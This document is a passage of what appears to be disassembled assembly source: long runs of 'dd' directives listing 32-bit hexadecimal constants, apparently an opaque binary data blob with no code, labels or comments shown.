		dd 552F01A4h, 15DF5A0Bh, 89BC484Fh, 0EB70D0FAh,	0D0956CACh
		dd 832960F9h, 85012050h, 6E959C90h, 47B7BDD4h, 0BEC4B000h
		dd 3F892B1Dh, 0BFCA299Dh, 1D388B6Eh, 0D4018470h, 2B10C97Bh
		dd 5A31353Ah, 25EAB06Ah, 94912B6h, 4BC97A01h, 0A818A2F9h
		dd 415302ADh, 0CF7AC42Ch, 11666F5h, 97BB90B7h, 2A635079h
		dd 7AA922BDh, 0BC024BE7h, 5F566E7Eh, 98009546h,	0D1A80CA2h
		dd 276C50C3h, 0EF5BB0Dh, 0C8572213h, 0B6987F7Eh, 1499D23h
		dd 82C45023h, 8FD90C45h, 0DAEF2D3Fh, 609670C0h,	9FD1813Ch
		dd 66DD93B0h, 0E7D7D8C5h, 33AF60ABh, 942F9BDh, 50EF8180h
		dd 4F4B6BE1h, 2F22E98Ah, 87ED4AA3h, 0AF80B430h,	92FA5E34h
		dd 7D80E879h, 1D68D90Ah, 4000A572h, 6F0DF8A1h, 98ADB7Ch
		dd 0D0209206h, 0E4A4C9D4h, 3E6EE45Ah, 0D28F42A6h, 0D7C04D66h
		dd 8E7EDC37h, 968E2161h, 9D2B5B8Ch, 0A85839EBh,	340603D4h
		dd 160B98ACh, 6BF5E491h, 0B591E79Ch, 8A4008D9h,	97E4B3D8h
		dd 414AFC14h, 0BFE515E8h, 0DAEE31D5h, 0B219C9CDh, 2E765712h
		dd 6036BB40h, 0C67D2CBEh, 3ADA4BA5h, 0F45D7C97h, 26931456h
		dd 0AA00BCD9h, 0E9642153h, 3B7095E6h, 661B9097h, 2E840049h
		dd 0D4059A4h, 4D907AC7h, 62EFC300h, 8B5F0CC2h, 0DC7D94C1h
		dd 162E060Fh, 0CB476B0h, 71852F31h, 0E000BD2Eh,	0EA81F00Dh
		dd 0A0A639DDh, 2A881414h, 0FFF3D06Dh, 0C394C0CCh, 50F24D36h
		dd 0CCCBDEBEh, 41D5BEB9h, 9AC22B58h, 81F8F01Ah,	5A4D38B3h
		dd 0A4126370h, 50B701F9h, 81D0033Ch, 9245D93Ah,	0F4D38419h
		dd 36B0842Dh, 0B4D95FE9h, 0C0B8C8A8h, 1B134520h, 4F3C4003h
		dd 6120C2BEh, 0F58B791Ch, 0DAD1288h, 5BF8050Dh,	30C1C86h
		dd 0D93720D1h, 8B64D19h, 97255412h, 58F2864h, 0C483126Dh
		dd 161BB204h, 93018B51h, 0B0A98110h, 95B51446h,	81C32604h
		dd 33202D7Bh, 16242215h, 40F985C6h, 0D2684799h,	60959AA7h
		dd 8229A90Ah, 7F60C102h, 0D0E2B043h, 8400A43h, 249FAD82h
		dd 6CCD3C4h, 1CF20001h,	61541D51h, 7003F63h, 8092CC89h
		dd 1D5EC1C6h, 8C81DD8Ah, 5332594Ah, 5AA5B400h, 409856BFh
		dd 3CC7FE69h, 9ACC7DCDh, 370C874Ah, 0FFC1C00Eh,	5007A1E1h
		dd 5816B051h, 4791E9A1h, 80D60BDDh, 0BFBACF43h,	2110062h
		dd 9646F189h, 81EC95AEh, 0B1247EEh, 7E886620h, 317438E8h
		dd 51BF448Bh, 8A620FDEh, 81EB60C2h, 0DF390EF2h,	0EEC04FFBh
		dd 3B1B2A92h, 0CE2DB633h, 0B511488Eh, 2DD6C226h, 3C8EF7EAh
		dd 0CECE6051h, 0D22AE961h, 4488FE13h, 0E3C49552h, 0DFDF8525h
		dd 5A37FA40h, 42927BFAh, 7650F32Fh, 0E20643CCh,	8DCFA1A8h
		dd 99F81D00h, 85EC5C55h, 729C0119h, 48A22158h, 70D9D032h
		dd 16F40E00h, 0F5D5B7BAh, 0DDAF3374h, 21004308h, 0E316EC75h
		dd 0E26CA906h, 0D3E9001Ah, 5CAA7124h, 10C04274h, 9FEB431h
		dd 3473A9h, 0F22E70B3h,	0AE7F45Eh, 0C572A12Ch, 19385406h
		dd 6020D830h, 1670C39Fh, 612438C3h, 0E7190373h,	0A8EA26A3h
		dd 524154E2h, 0EF38811Eh, 63271108h, 30642820h,	69183CE0h
		dd 0B0C120B4h, 428A242Eh
		dd 0F0FC8EDCh, 0BF1B3E76h, 18AEED1Eh, 315E1067h, 804DDA3Bh
		dd 4FE47F6Ah, 0C9F1FEh,	3442F2FFh, 997CC229h, 0F65C02ECh
		dd 97EA0E79h, 0F0378057h, 177EE7Ah, 5AFFD14Ch, 98D7D9F4h
		dd 95214008h, 37700E6h,	0C6AE612Ch, 5E0065BAh, 0FF1D797Dh
		dd 994BF5h, 8B5AF03Ch, 253D74BEh, 9ED118C0h, 2930439h
		dd 0A6B3D015h, 0CC801908h, 54384736h, 0EFEE5B00h, 4237015Ah
		dd 70186F32h, 0B2F12B00h, 0EA069280h, 0FB0A56D3h, 21256008h
		dd 9CB2E8D9h, 988C6F0Ch, 0E43A94Bh, 0EAE1C846h,	87A39EA0h
		dd 8300500Dh, 7ACBE98Eh, 0DC302ABDh, 0C8BA4278h, 5C83D370h
		dd 0DAA01A37h, 11D2F29Eh, 0EE589C01h, 3BFC8E78h, 8966371h
		dd 20005B0Bh, 87588931h, 780DA8A7h, 673500FBh, 92BD20D0h
		dd 0E518EF1Bh, 0A0702FFAh, 447020B9h, 0DBF9C5F8h, 78B11908h
		dd 8C803049h, 5167DCAAh, 80907B10h, 2178Bh, 0A18DB56Ch
		dd 0C62C775Dh, 0AB49E700h, 0AABEF339h, 0B88500D8h, 765B9327h
		dd 0A70020E5h, 0DA6E7E41h, 0E242DF4h, 8BC17479h, 0A96F37A0h
		dd 35009903h, 0E6C6CDC3h, 7678EC5h, 9E38BFE7h, 0D31770D7h
		dd 5C00043Dh, 66477E5h,	0BB4A21h, 0A46DDA9Ch, 0D412CB87h
		dd 0E6332C00h, 5D43EE2Bh, 489600B1h, 1F0611Ah, 991CD563h
		dd 7E80504Dh, 0CC874565h, 0FE953DF8h, 0A2C8C20Eh, 30B61140h
		dd 1C0719C1h, 0E4BA8CEDh, 0A4CD4560h, 0C37F0090h, 0C296F6ACh
		dd 0B9008E57h, 20491A65h, 3392BB97h, 0AE087F18h, 6E542100h
		dd 0F0493F1Ah, 8567098h, 0A5F53ADFh, 87C49B80h,	71DB35Bh
		dd 7977B508h, 2F6505Dh,	8A00A5D1h, 73032A55h, 0FB48042h
		dd 91E53A67h, 0AB5D7AA0h, 0C701A64Ch, 0DCFF9356h, 1896C9B1h
		dd 57E30002h, 7F709974h, 70C08B74h, 0F6046BAEh,	19769815h
		dd 8550D5Bh, 50218081h,	90CE0463h, 194F039Ah, 0C1EA14CFh
		dd 99B16063h, 13BA09Ch,	0E211C0C4h, 3A6ECBF2h, 95B2F406h
		dd 60089C41h, 0AA8321ABh, 887FC6CBh, 7DC21003h,	901F1420h
		dd 0E5C2157h, 46909FABh, 88015641h, 0B4A4E2B9h,	1A6860ADh
		dd 8F202348h, 5300B111h, 4AA31A71h, 6A00F846h, 90412DC0h
		dd 6080C161h, 0BAE2E194h, 0A301BB1Eh, 78107013h, 0E7F09D6Ah
		dd 60D63024h, 0F3183BE8h, 0B23F0500h, 0E9DADE3Ah, 2CF5000Ah
		dd 0EDCB02E3h, 29079375h, 10FB8B0Fh, 0EF333B40h, 6F77976h
		dd 37DECB86h, 0FD30098Eh, 7F4F200Eh, 15B3FEF7h,	2073BFC2h
		dd 4B0E5AACh, 2076B7E4h, 0F1D82C1h, 0B841019Ah,	0DB45DA52h
		dd 0D26FE40Dh, 68803F31h, 33D91057h, 7BD86ECh, 3CC6E672h
		dd 5E6B50A6h, 14000DE1h, 90379108h, 102EEB5h, 1B333CC7h
		dd 4FE88ABCh, 59801120h, 2E958881h, 242080E4h, 73C00154h
		dd 0F24100E0h, 1D0D47D9h, 680DB79Fh, 0F9A7E33Ah, 152AFCCh
		dd 7E863778h, 8C8E0BD7h, 203ABD09h, 788A01CFh, 0FB49E81Fh
		dd 3C39800Ah, 11D25990h, 283D6FE7h, 52BAA083h, 82C276C8h
		dd 88E42628h, 24537913h, 0DE71BD18h, 0E5923495h, 0C49E80A8h
		dd 9CE9DDBEh, 7DC68158h, 0FE5038A2h, 50351ED3h,	0AB1B4155h
		dd 984BBA3Eh, 0DD21D208h, 4350003Dh, 0EE5942D9h, 0C41C3C0Bh
		dd 0E75E34B3h, 0D1AF99B0h, 6198001Bh, 0BF7CD43Fh, 83FACA4Eh
		dd 6D341D0Eh, 18B400B9h, 559E76B8h, 989DECDEh, 7F1121EAh
		dd 53503783h, 0D1314BCAh, 503FF310h, 0C685B017h, 0F17E5407h
		dd 0A216CD62h, 0AAC202D0h, 8D1144A4h, 95F77480h, 448C9B86h
		dd 7D004DF3h, 89660AF7h, 12C6B96h, 5564C411h, 0DC33DC0Fh
		dd 3A70B586h, 0A6002490h, 0E029918Ah, 225E0Dh, 8C478993h
		dd 1976D0A0h, 0BFBF343Eh, 30C073B6h, 0BEC3CF9Eh, 7C0E501Bh
		dd 321E8C7Ah, 23515650h, 0DE80D088h, 0A130503Ah, 36DA392Dh
		dd 43BCE483h, 0E10A07A5h, 0CC388A04h, 8E9483BAh, 0A07D8BD7h
		dd 659E4418h, 13CE9D5h,	823061CCh, 97208650h, 14EE393Eh
		dd 5010F7BEh, 391E8C72h, 467F5150h, 0F900CC22h,	25955041h
		dd 3AD845C0h, 0F8D0F256h, 0BA521288h, 45945DCEh, 0C21B32D7h
		dd 844891B4h, 6C00436Fh, 0B31A15BCh, 0C8A31117h, 699DA120h
		dd 0AC608C12h, 23347853h, 0B7117686h, 788BCC00h, 0C13FC2A0h
		dd 0C5128871h, 1000DE36h, 9138ACBAh, 844A506Dh,	642C98ABh
		dd 32D97060h, 785030E9h, 4E863911h, 0D180B288h,	404A7888h
		dd 8CB3000Dh, 0A1E712CEh, 70121C9Dh, 8C059341h,	8803AFD6h
		dd 3940A6h, 35088E38h, 7519CA1Ch, 3A1C0EF0h, 72CA86DDh
		dd 0C60798C9h, 7F20919Eh, 3151E61Dh, 0F418D8C2h, 8A702063h
		dd 0F775048Ch, 62838692h, 7E4E20F2h, 9C704CF7h,	1C81E500h
		dd 4236BF75h, 7ACE1206h, 0C1546107h, 0CE880F11h, 2F6365C0h
		dd 484649E7h, 78E8403h,	2EA8A291h, 5B0125EBh, 4EC16E9Bh
		dd 18301092h, 0FCB9F037h, 38D2122Dh, 34680839h,	0F656C083h
		dd 58285008h, 0D27D013Ch, 8B247073h, 69A852E9h,	0B2E4C065h
		dd 0A5A4FC60h, 0EDE58001h, 25E0637Bh, 9AC256C8h, 8E2D0058h
		dd 0C42F4F32h, 0F489CBDh, 8CD2F890h, 1BA3F800h,	4C83D96h
		dd 0E13C6286h, 0EE6876E2h, 97148F1Dh, 7180FB38h, 721B88h
		dd 2655AB14h, 27A25A86h, 1A090490h, 116C9EA1h, 0DA02FB64h
		dd 55188E19h, 86327808h, 40B9C426h, 1D788DCAh, 0B2850054h
		dd 0EA102C44h, 153789E6h, 2D27029h, 8838C8E0h, 0CC7A3332h
		dd 0EC3B518h, 52A27588h, 50E3F62Ch, 0B9BE4200h,	0C43CC81Eh
		dd 407218h, 5C250B14h, 73BD06F6h, 0E9A78B04h, 0BA56E81Dh
		dd 0D73284EAh, 2AA0D0A2h, 6C146028h, 77019BAAh,	92F6A8C2h
		dd 0E7D472BCh, 0BA82314Eh, 0E88F3640h, 0DCA1201Eh, 8C7C0CEAh
		dd 5450341Eh, 0CD881351h, 503CDC80h, 126275CFh,	524EBDA6h
		dd 0C540494h, 29408188h, 8CE8083Bh, 38784F04h, 0B8625686h
		dd 7887D020h, 4B579EEh,	539AF524h, 0A4389129h, 237D020Ah
		dd 72E0B7A0h, 18C8271Dh, 6E0A491h, 38C02A50h, 94207201h
		dd 469E43A9h, 6C93898Bh, 7CA64601h, 0B094273Ah,	9E68D65h
		dd 0F221EBB8h, 0A346F081h, 6E898122h, 3FB42B5Bh, 74CEA02Ah
		dd 10208E02h, 0E1B844D6h, 38438F54h, 97857h, 0D4F17ABAh
		dd 0C4A637C3h, 0B58871C2h, 6BB4C84Ah, 8F39C10Eh, 0C8A33D4Dh
		dd 480F8A74h, 9C213EAEh, 5137E7CCh, 0D09200DBh,	0EBDFC175h
		dd 0F766BA0Ah, 214C08h,	21D0EA7Ah, 420E30CDh, 0D95CB60Bh
		dd 82E80081h, 0E67A76h,	8ED8570Dh, 9E379C2Dh, 0E83C34F9h
		dd 2FA0300h, 633BDE11h,	0FB8F00C7h, 0AC9A4637h,	0F1305AA6h
		dd 0C6424034h, 824F00ADh, 8FC4C03Ch, 0A0171EA1h, 783A532Ah
		dd 8A00D023h, 6CE89579h, 8B8D060Dh, 0B49A56BFh,	0C542898h
		dd 9CEA9FA8h, 49DD7309h, 95E4A620h, 242E9049h, 85CCEA42h
		dd 45B36Eh, 81B1BAB0h, 4348BDEBh, 0EC461670h, 106B9405h
		dd 8C89A4CCh, 91F77804h, 0A8677B86h, 0C081518Eh, 0C2D0074Fh
		dd 0B15E09F8h, 0C65FDF3h, 1260FAE4h, 205CCF80h,	2F4465Ch
		dd 0C173D094h, 41F433AFh, 2DD08C7Ch, 9AAE1C60h,	42880908h
		dd 588F2196h, 5C6C738Ah, 0C900F246h, 22DB2E77h,	170155FAh
		dd 0C2C3A8DDh, 0A0000F1Dh, 0DF50DA82h, 0B51090B4h, 33030152h
		dd 76B8061Ah, 9B70B4FCh, 40E31105h, 0B808FA88h,	8A86020Bh
		dd 0E8C4F1h, 2A00C856h,	0FF941D81h, 18908B4Fh, 2026EE52h
		dd 0FC39873Bh, 0C420D37Eh, 3A642E23h, 1F223C4h,	0CFB04B7Eh
		dd 1B94E838h, 0C451581Ah
		dd 11A41D76h, 0E7C780F3h, 3804469Bh, 0EE806F01h, 0DB45592Dh
		dd 0A32A4F88h, 0E07A81Fh, 0FC802EDEh, 50BEAAA0h, 32C92669h
		dd 0DF4E077Ch, 0A26E1134h, 0F631802Ah, 0B1862C2h, 0B77E00AFh
		dd 5A25ADFBh, 7B04969Ch, 4204B168h, 14C2ACB4h, 0C8BB9E56h
		dd 0BA173803h, 0C4941B78h, 1EB4C244h, 72B3A4A2h, 0BA005870h
		dd 0B4E496CCh, 0E2E813D4h, 32522E88h, 0F85498D8h, 24608A5Ah
		dd 1609BA10h, 0AF4E1F1Dh, 0AE80C13Fh, 0F452105Ch, 530377D1h
		dd 417D07C6h, 0FBDAB4Eh, 0A88E3488h, 8C17C9A0h,	862472A2h
		dd 81072848h, 4099A6BFh, 18108424h, 394E6EC0h, 3E58E890h
		dd 42FA10B4h, 0B83AEE79h, 345B0024h, 0BA1D1394h, 0EF009EADh
		dd 0B54552CFh, 14012ECh, 4EA7C6EEh, 0DCFE298Ah,	0CE005863h
		dd 9AC9202Fh, 3A43E74Bh, 0EF00F612h, 0E44CE1FBh, 6B0049BAh
		dd 1F86E270h, 3A0172C9h, 0F80F026Ch, 0A503CDE7h, 110FCAFFh
		dd 0C0B4CB8Fh, 0EC2BCF6Ch, 8B76674h, 0A2C21D7h,	0E8001FC3h
		dd 430B92BAh, 62190AEh,	0C1F7807h, 811E28F5h, 0EC1DC3EFh
		dd 12471030h, 606C0133h, 694C160Bh, 30089803h, 31A2A21h
		dd 51569A33h, 29C82FADh, 0B800E8FBh, 0D27D58CFh, 0C9D02D4h
		dd 0F3DA18E7h, 75FA72E0h, 7EC58A00h, 7776E383h,	0FC08CC2Bh
		dd 0BC188B21h, 0C640228Ah, 4C340079h, 0B9F85CB1h, 0D0C074A7h
		dd 0AA6E12EFh, 3B0101FDh, 8AF9C34Ch, 808CD14Bh,	0AA65B421h
		dd 3E51BAEh, 0D0745653h, 93F88168h, 58031E12h, 7F4C3E77h
		dd 0C8F82370h, 71331103h, 7D629C60h, 0E8192D23h, 0F27AB9B1h
		dd 0DBA72973h, 18867150h, 0DB810A7Ch, 2CF8E698h, 217918C1h
		dd 9434C313h, 87C118C4h, 9050F2E1h, 3DA021h, 745FB5F7h
		dd 39CC32AFh, 626A2903h, 1DEE07h, 4933F829h, 4F4A6BE5h
		dd 64FA2616h, 92501602h, 108080DEh, 1AFFEFF9h, 78736E6Bh
		dd 6C4DE000h, 10581B4h,	8DF2855Fh, 0FB0D16C3h, 7F580EE8h
		dd 328C64h, 0F6B2426Ch,	0DA245860h, 730354FAh, 0C270E8C0h
		dd 0E170405Eh, 0C139C026h, 0F80B77BEh, 3B361F00h, 0D4D3B8DAh
		dd 946B02E7h, 0C8A874BFh, 64BCA484h, 1104D80h, 0A44B5393h
		dd 0CD008522h, 68FBAB3Ah, 78B631Fh, 6D49233h, 0BB69024Bh
		dd 0CFC68049h, 5F0C3178h, 0C080B06Dh, 0A82A0074h, 0FFFB0A22h
		dd 31C0116Ch, 6534E56Fh, 0C0F37240h, 91C0F9C8h,	672459BEh
		dd 4240BC8Fh, 9043FAAEh, 0BC2052A4h, 0D668DC00h, 88132441h
		dd 425A3200h, 63DBE222h, 15473BF2h, 76949A00h, 0E79CD9B6h
		dd 81901A49h, 7ECB8A73h, 35001CD2h, 7F5C8ABBh, 0A8810CB4h
		dd 645E06C4h, 8E9788E5h, 0C0358868h, 0B7B213DFh, 0DC006D76h
		dd 4078B0F6h, 0E12A0CAEh, 6473D8h, 0EE32CDF2h, 0F9756777h
		dd 0CB23F404h, 5480D35Ch, 398643h, 77E4EB1Eh, 384AA0E8h
		dd 0F7214B39h, 725C710Ch, 184040B5h, 582C6EFEh,	4A00A75Dh
		dd 639B49DAh, 1260B6FCh, 5025AA40h, 2C007C20h, 0E5078D37h
		dd 0D5729E0Eh, 3442D31Fh, 0B89A645Eh, 698C4158h, 0B404CF18h
		dd 2C6F6C76h, 2E20D932h, 2403B4C7h, 86C57BDh, 0B02486C8h
		dd 0D94674h, 69C42D8Bh,	0C766D8Fh, 22E86CB9h, 32F37B50h
		dd 213A38DCh, 0B4D001CBh, 48676C75h, 988BD50h, 3EB400C8h
		dd 9313EB4Eh, 0B80C3522h, 581C7C6Ch, 297242EFh,	853A5868h
		dd 0B76C6FB4h, 2F01088Eh, 3BB2B4C2h, 5DDAE88Eh,	0F45E4803h
		dd 0B2D9EFCCh, 0D0E880C5h, 92C69DB6h, 0B47D0A2Ch, 41901554h
		dd 22E0FE51h, 1C330140h, 43202B9Dh, 0A83CCh, 8091C825h
		dd 0E8C4AEBAh, 11081C00h, 0C3CB899Eh, 0AB750090h, 57E15BBFh
		dd 0AAE4A59Fh, 84004CFAh, 0EBD18529h, 7FB793h, 0A1C92F50h
		dd 45F6ABC3h, 0D0D34907h, 0BD30D252h, 7DF1AE0Eh, 57C77h
		dd 8F222C2Ah, 49FD35ACh, 0B917A100h, 20CA66B6h,	14410071h
		dd 5EBFDF37h, 38C7A5C3h, 3EC0D5F3h, 77CC4DFAh, 0C834007Bh
		dd 1CE64536h, 0A63E05D9h, 1520254h, 2F9BF3F0h, 9D832D80h
		dd 0F8002B0Dh, 0DCA14E9Ch, 39596B6h, 0BC14D855h, 19000288h
		dd 3EC3225Eh, 0F0C026AAh, 0D129037Dh, 0A6097EAEh, 2AB6501Bh
		dd 76BCC059h, 12A403D6h, 710EC524h, 7B00197Eh, 0BB2D399Ah
		dd 3387A98Dh, 3891DA5Eh, 0C8B8BEC8h, 0CB26A800h, 6A5C4C5Bh
		dd 0F56D004Dh, 0DC16C6FCh, 0B93DC36Fh, 22B8005Eh, 0A6060D99h
		dd 60F4600Fh, 2AAC8577h, 0FC6B640Eh, 0B89200EEh, 304D716Dh
		dd 0CEA13AADh, 8D00B1B3h, 0B88590DDh, 315F7918h, 0A158D92Ah
		dd 0FB39CC0Dh, 0A5CF0600h, 0E82C74D0h, 787654h,	75CE8A1Bh
		dd 440737BFh, 0B5E5800h, 7B5F2D6Ah, 0F8830E27h,	638FF7A7h
		dd 402A1207h, 313C72B9h, 5C0358h, 0D552EE8Bh, 1FA230ACh
		dd 2F56Ch, 6499AF96h, 7E1E28D1h, 3E070BC7h, 0FA80CB13h
		dd 30378BAh, 6283DE04h,	610B06C4h, 390F8Ah, 0CC338E17h
		dd 0CE0E572h, 0D25300DEh, 6B273A96h, 5561D678h,	3031F730h
		dd 0A25C289Fh, 36C6D800h, 477897C4h, 267F183Dh,	0B7427829h
		dd 0F2AF161Ah, 0B1C18D1h, 3B19C0ADh, 0D0AF9747h, 29561C1Fh
		dd 740F8B4Fh, 827E0E4Ch, 1F80D423h, 0B8B2EE08h,	2211173Bh
		dd 0ED005E3Bh, 93D556Eh, 2A06C871h, 2CACB7AAh, 0A3830020h
		dd 63867805h, 4000724Eh, 79E430E1h, 187AC2ECh, 0B1A50C8Ch
		dd 0A00C9AAh, 74D1FAF9h, 7475E9D6h, 48BB1D54h, 0C517101h
		dd 3631817Ah, 2FAE56D8h, 35EC8CF1h, 0E0DD00E4h,	3A4BF8D4h
		dd 91077006h, 0D7720F23h, 0F01178CCh, 5D4102D2h, 91B9803Ch
		dd 0CEBAA083h, 0D796E900h, 29576FFDh, 78220073h, 4C109449h
		dd 0F900E123h, 0EF8AFA72h, 0C47E909h, 0EBB08C36h, 0A20C8E79h
		dd 490B6AC9h, 0F4D98B94h, 7044EC09h, 430A4D18h,	0CDDDC1h
		dd 5BFC64CCh, 0BA778640h, 3CF8F424h, 96D66001h,	0B8408B06h
		dd 0F34D495Eh, 20418052h, 0C87B6C79h, 6E064300h, 9A1E48BDh
		dd 0B4801566h, 4C50D02Ch, 4410E9C1h, 3224A073h,	0C2002402h
		dd 0B185801Bh, 69200049h, 8B0E9DF7h, 3E0E3612h,	6B74B7E3h
		dd 32C802Bh, 0E218E410h, 8AC109FAh, 7C03026Fh, 70B08955h
		dd 453DE281h, 5D38020h,	402BEF74h, 297824A2h, 47118030h
		dd 0A3AB9870h, 0E48E6F01h, 0D36E6730h, 500E34D0h, 0F6DDD09Fh
		dd 0B1B3E7C7h, 0EA40730h, 0D42521A7h, 0E8D85E38h, 0DF900930h
		dd 55C07F78h, 0E61FF7FFh, 47066369h, 0F020286Bh, 0BE5D187Ch
		dd 0F08231E7h, 0FB203E00h, 0DC68EB8Ch, 84DB0083h, 5C3BACB3h
		dd 98009F53h, 2C33CB7Dh, 79D43C43h, 0A077014Eh,	61576397h
		dd 509A4073h, 14A792ECh, 6813198h, 0C54CA344h, 60B0043Fh
		dd 4A50F5D9h, 0EA0BBE68h, 0DF8FFFh, 7132E5C9h, 8D0200DCh
		dd 697D30BDh, 0C0A06634h, 940E57CBh, 58AC18DFh,	888CF629h
		dd 7F8833A9h, 0E1D18858h, 0ED09DA89h, 56E3113Fh, 12EBFD11h
		dd 40F7100Eh, 28411789h, 3C17E903h, 5FEE2EA1h, 0DE9F9800h
		dd 7B90E1B7h, 0A64900B0h, 0BFCC0809h, 7AF041AAh, 9200E679h
		dd 47176715h, 1DB58DCAh, 0C02559C3h, 9FB8DE33h,	720F790Bh
		dd 0A00F07DCh, 0F14AB7F8h, 0D2780048h, 3FCAE823h, 41001CF4h
		dd 0AF866006h, 7CD6E5h,	9A09B519h, 80ED078Dh, 0E4A9FE00h
		dd 0AF7DEE63h, 0D1DA3C2Ah, 0F2843700h, 35A1C8E2h, 0BD767500h
		dd 4345BF91h, 54DD07A3h, 808A1D97h, 76B00EC3h, 0FAB1EE00h
		dd 0E522A2F4h, 647300FBh, 883C24B9h, 40F901ADh,	0A01169DCh
		dd 75004575h, 44851BBCh
		dd 3E3189A3h, 0E00C77Bh, 15B0434Eh, 0EB00F7D2h,	0B3933E11h
		dd 0A8B25Fh, 618820FEh,	6F18E063h, 961CA98h, 90EA1060h
		dd 86139A00h, 6AA66C00h, 2E899C05h, 16DA0076h, 31327921h
		dd 0A8EC184Ch, 0E8802C50h, 8B594400h, 94D8B11Eh, 624200EFh
		dd 661D8A82h, 0AC00A7A0h, 0FCA3FB15h, 77A2C1h, 611B88DCh
		dd 2063E28Dh, 0E05D807h, 29F0B1C5h, 65F0DE4h, 605C21BCh
		dd 0FC07E055h, 19E0B5C3h, 7EFD38B0h, 0DCF70071h, 0BF73DE5Dh
		dd 91073B7Dh, 3386E4D7h, 0B56F5CB0h, 0E19F0016h, 8774931Dh
		dd 0F2601C0Eh, 3B54C5F4h, 1A143F4Bh, 86B20500h,	0D57CAE8Ch
		dd 62309400h, 1D3E1CB6h, 0E6B31E0Bh, 0E1DA8173h, 0D829C9A3h
		dd 4C0E8183h, 0A2D50CD7h, 48971A58h, 0D31D24h, 0B5F84AC3h
		dd 3E98C277h, 0A5A6661Ch, 0B4183BDh, 0E81FA71Ah, 0A7FE6C9h
		dd 0A2735A59h, 98CD98E8h, 0EC00DE50h, 5CE253B0h, 74F340Ch
		dd 0F056DA52h, 9C2340D9h, 0FC034DDEh, 2FD83E6h,	34E48863h
		dd 0CB9F0132h, 0F4AD8A9Dh, 461824BDh, 0BAF14C0Eh, 0F99E20B2h
		dd 2EBDD3Dh, 98203879h,	0D080D66Bh, 447CC79Ch, 14283Dh
		dd 0E686EA5h, 8BC671h, 9784F882h, 74D29247h, 0EB336B00h
		dd 783151F2h, 0ABA800A1h, 58C3DDF9h, 9C1ED334h,	0E5402CBAh
		dd 0CED8FE71h, 0EB770006h, 0A24CB4Ah, 0D2008451h, 448165A9h
		dd 0D667Ah, 0B997B7E7h,	15F35FEh, 2A003071h, 0FDE2567Dh
		dd 39BDCA9Ah, 4002DA4h,	0D90F1332h, 270093F8h, 4B539276h
		dd 181D23F3h, 0F8244318h, 3B731101h, 0B6007A7Ch, 5A0E3187h
		dd 5870598Fh, 3E0E54BFh, 57601F69h, 522702C8h, 0E1AF3300h
		dd 0F72A9C9Ah, 121003E8h, 9FAE739Bh, 0C023ABE8h, 0CD16AC00h
		dd 75CA8A7h, 13E82458h,	0A6050068h, 11C6368Dh, 0CD8A10C0h
		dd 96BCB0Ah, 0F7D87F7Bh, 53BA3087h, 84006621h, 0F5EE2AADh
		dd 0F833DAh, 553CBBA7h,	0FB1E0E6Ch, 9FAB001h, 0C059084Ch
		dd 0B9C8F0h, 0E1F7A80Dh, 0C57D845Ch, 63DCFCFDh,	0FE6D6804h
		dd 0B4903BF2h, 0ADD6DAh, 0ACBEECAAh, 1D2FDFB1h,	0E8575C02h
		dd 412E3776h, 47D49084h, 985850EDh, 1A660113h, 642C0BEFh
		dd 408030F7h, 8856C807h, 1FB0A7B9h, 9558BAFh, 0B001D37Ch
		dd 299E1C00h, 0E9617847h, 0C3E15F30h, 733BBBF4h, 937A24E4h
		dd 5429002Dh, 1DD33D1Bh, 89C08E60h, 713EA530h, 472007E0h
		dd 90949B6Ah, 2FD27079h, 7A712200h, 0B8C62729h,	3049012Ch
		dd 7783925h, 37ABD05Fh,	0F4AA3Fh, 5472DC3h, 358CA9h, 0E5A8FA97h
		dd 0B58AEEAFh, 0A640FC00h, 0F03928B7h, 23A200E8h, 0FD375D2Dh
		dd 1B00713Fh, 0EA1D17B9h, 4C3463h, 496ED07Eh, 95041EF0h
		dd 0A02ECCF2h, 7400C20Ah, 6F4FF77h, 8729DFB9h, 50B46A17h
		dd 9C612D62h, 0F33CF70Ch, 9DE21B7h, 1A4A2644h, 0E54E5820h
		dd 417FCF88h, 0A8FDC000h, 8618AF85h, 0C75A0098h, 542CBD3Ah
		dd 41E3969h, 580BAE0h, 0BF90F1F5h, 20A800A0h, 2457B7ADh
		dd 1A000398h, 2C9C68A5h, 75061Eh, 77BC7CD2h, 93B7E43Ah
		dd 0DB01D900h, 0DC33FDA9h, 67CB007Bh, 437C8657h, 3F1E97D0h
		dd 803BA73Ah, 6E9321F5h, 0A9AFB7h, 0D3E69AEBh, 81549EE7h
		dd 0AEC1DE00h, 0AD272BABh, 7DC30083h, 0A84F4090h, 0F238EFF3h
		dd 9110803Ch, 351EDFB9h, 805E0018h, 8F756C7Bh, 2A00588Ch
		dd 0D3624732h, 0A2D7F8h, 0B7DB2326h, 0B24525B1h, 0D9776F26h
		dd 0D3B52B00h, 1D172FFEh, 408EA0D5h, 0C3C4D80Dh, 3E0724C0h
		dd 180E4E33h, 0C55A0750h, 0B87B3859h, 2A635181h, 21F9E529h
		dd 4679F070h, 0F6D94F00h, 0AAC899BFh, 7E420019h, 0F8C41006h
		dd 52002892h, 0AC72751h, 0AE1C5Fh, 0CDF5113Eh, 0E06D21BBh
		dd 1065A00h, 9A4E641Dh,	0FAF498DFh, 9049FA4Fh, 78E6E8h
		dd 0A3F3501Eh, 5B02929Ch, 0C100A890h, 3A40FBD0h, 79C876E5h
		dd 0CE1909F0h, 8803118h, 5E29FDC6h, 7B16FE00h, 0FA12E742h
		dd 577000E9h, 0A8B86A5Dh, 5B0153E3h, 0EEDF6E35h, 4030116Dh
		dd 68620156h, 7F0CFB73h, 1CC420B1h, 0DBFEDC00h,	992DD3CBh
		dd 0D74F003Bh, 0D81E360Bh, 6000417h, 9F4C88AFh,	0C32D95h
		dd 11CA81ADh, 0BF8916BEh, 0A801FF70h, 694BEC98h, 0DBDC4191h
		dd 3FCB00B6h, 31FA332Ch, 0D8EED074h, 6B4A8801h,	0DFF0CFDCh
		dd 0C0B37BD8h, 54E83C28h, 14B1D293h, 3068B280h,	38E7E178h
		dd 4802EDAh, 0B5DF3472h, 8801F997h, 89D17B51h, 87C025FAh
		dd 80CC0F7Eh, 0B6E0A231h, 9EA38B7Ch, 0D92DD700h, 6A2B9C32h
		dd 0D1650003h, 77BBDA70h, 0C000FC78h, 3B895F4Dh, 0D8EB05h
		dd 75519166h, 38BF3CB7h, 72FBE000h, 31AB6C89h, 0AFD9034Bh
		dd 0ED34C5E9h, 2C56B2E0h, 48F89100h, 7BB1A566h,	0F61803BDh
		dd 59D79030h, 39434790h, 0C999E400h, 26E2FC09h,	60CA00DDh
		dd 344CB89Eh, 0FEECAA01h, 48570600h, 98DBA97Fh,	5C2739F7h
